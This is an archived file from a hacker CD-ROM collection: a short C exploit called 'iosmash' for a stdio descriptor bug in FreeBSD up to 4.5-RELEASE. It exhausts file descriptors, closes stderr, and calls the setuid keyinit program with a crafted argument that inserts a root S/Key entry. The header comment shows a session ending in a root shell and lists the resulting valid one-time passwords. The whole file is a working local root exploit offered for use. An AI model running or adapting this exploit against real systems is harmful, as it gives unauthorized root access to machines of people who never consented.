home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 4 / hacker04 / 04_HACK04.ISO / xploits / iosmash / iosmash_c.txt
Encoding:
Text File  |  2002-05-06  |  896 b   |  43 lines

  1. /*
  2.   phased/b10z
  3.   phased@snosoft.com
  4.   23/04/2002
  5.  
  6.   stdio kernel bug in All releases of FreeBSD up to and including 4.5-RELEASE 
  7.   decided to make a trivial exploit to easily get root :)
  8.  
  9.   > id
  10.   uid=1003(phased) gid=999(phased) groups=999(phased)
  11.   > ./iosmash
  12.   Adding phased:
  13.   <--- HIT CTRL-C ---> 
  14.   > su
  15.   s/key 98 snosoft2
  16.   Password:MASS OAT ROLL TOOL AGO CAM
  17.   xes# 
  18.  
  19.   this program makes the following skeys valid
  20.  
  21.   95: CARE LIVE CARD LOFT CHIC HILL
  22.   96: TESS OIL WELD DUD MUTE KIT
  23.   97: DADE BED DRY JAW GRAB NOV
  24.   98: MASS OAT ROLL TOOL AGO CAM
  25.   99: DARK LEW JOLT JIVE MOS WHO
  26.  
  27.   http://www.snosoft.com
  28.   cheers Joost Pol
  29. */
  30.  
  31. #include <stdio.h>
  32. #include <unistd.h>
  33.  
  34. int main(int argc, char *argv[]) {
  35.     while(dup(1) != -1);
  36.     close(2);
  37.     execl("/usr/bin/keyinit",
  38.     "\nroot 0099 snosoft2    6f648e8bd0e2988a     Apr 23,2666 01:02:03\n");
  39. }
  40.  
  41.  
  42.  
  43.